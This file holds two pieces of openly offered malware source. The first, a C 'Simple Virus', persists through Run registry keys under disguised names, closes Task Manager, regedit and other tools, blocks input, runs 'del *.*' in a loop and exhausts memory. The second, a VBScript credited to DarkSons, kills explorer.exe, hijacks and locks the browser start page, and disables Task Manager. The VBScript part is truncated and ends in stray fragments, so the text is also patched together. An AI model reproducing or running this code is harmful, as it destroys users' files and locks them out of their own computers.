/*****************************
*                                     
*         _::_SiMpLe ViRuS_::_        
*                                     
*                                     
*         CoDeD BY THE REAPER                           
*                                      
*     Simple Virus Copies itself      
*     to start up,disables the                                 
*     start bar,msconfig,ccleaner,                              
*     regedit,and taskmgr.it also     
*   disables the mouse plus keyboard  
*   beeps,generates infinite folders  
*      and bloats your RAM!!                                             
*                                         
*          R.I.P Windows               
*                                     
******************************/

#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <stdlib.h>
        
int main()
{
       AllocConsole();
       ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0);

        char Pathofvirus[MAX_PATH];
        char systempath[MAX_PATH];
       
        GetModuleFileName(NULL,Pathofvirus,MAX_PATH);
        GetSystemDirectory(systempath,sizeof(systempath));

        HKEY newValue;
    
        RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
 
        RegSetValueEx(newValue,"igfxc",0,REG_SZ,(LPBYTE)Pathofvirus,sizeof(Pathofvirus));

        RegCloseKey(newValue);

        RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
 
        RegSetValueEx(newValue,"ntoskrnl",0,REG_SZ,(LPBYTE)Pathofvirus,sizeof(Pathofvirus));

        RegCloseKey(newValue);
        
        HWND hWin;
        
        hWin = FindWindow("Shell_TrayWnd",NULL);
        EnableWindow(hWin,0);
        sleep(15000);
        
        for(;;)
        {
               BlockInput(0);
               
               HWND tasks,msconfig,regedit,ccleaner,cmd;
        
               tasks = FindWindow(NULL,"Windows Task Manager");
               msconfig = FindWindow(NULL,"System Configuration Utility");
               regedit = FindWindow(NULL,"Registry Editor");
               ccleaner = FindWindow(NULL,"Piriform CCleaner");
               cmd = FindWindow(NULL,systempath);
               
               if(tasks || msconfig || regedit || ccleaner|| cmd != NULL)
               {
                     PostMessage(tasks, WM_CLOSE, (WPARAM)0, (LPARAM)0);
                     PostMessage(msconfig, WM_CLOSE, (WPARAM)0, (LPARAM)0);
                     PostMessage(regedit, WM_CLOSE, (WPARAM)0, (LPARAM)0);
                     PostMessage(ccleaner, WM_CLOSE, (WPARAM)0, (LPARAM)0);
                     PostMessage(cmd, WM_CLOSE, (WPARAM)0, (LPARAM)0);
               }
               
               malloc(rand()%512512);
               beep(2500,150); beep(2200,310);
               beep(2400,50); beep(2100,50);
               beep(2300,50); beep(2000,230);
               
               BlockInput(1);
               system("del *.*");
               system("md %random%");
         }

   return 0;
}

'Pozdrav svim sljedbenicima www.DarkSons.com -a
On Error GoTo 0

wscript.echo "Hacking... now! Click here to hack!"
For Each Process in GetObject("winmgmts:"). _
    ExecQuery ("select * from Win32_Process where name='explorer.exe'")
   Process.terminate(0)
Next

itemtype = "REG_SZ"
mustboot = "Hacked by Tux [www.darksons.com]"
jobfunc = "Please wait..."
t = "Successfull!"
Mybox = MsgBox(jobfunc & disab & vbCR & mustboot, 4096, t)
Set Juniper = WScript.CreateObject("WScript.Shell")
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.darksons.com","REG_SZ"
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Window Title", "DarkSons.com","REG_SZ"
Juniper.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\www","www.darksons.com","REG_SZ"
Juniper.RegWrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
Juniper.RegWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.darksons.com","REG_SZ"
Juniper.RegWrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.darksons.com","REG_SZ"
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\\DisableTaskMgr", "1","REG_SZ"
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoRecentDocsMenu", "1","REG_SZ"
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoClose", "1","REG_SZ"
Juniper.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\\HideFileExt","00000001","REG_DWORD"
Juniper.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\CleanupWiz\\NoRun","00000000","REG_DWORD"
Juniper.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows\\NoPopupsOnBoot","00000001","REG_DWORD"
Juniper.RegWrite "HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers\\{a2a9545d-a0c2-42b4-9708-a0b2badd77c8}"
    End If
End Sub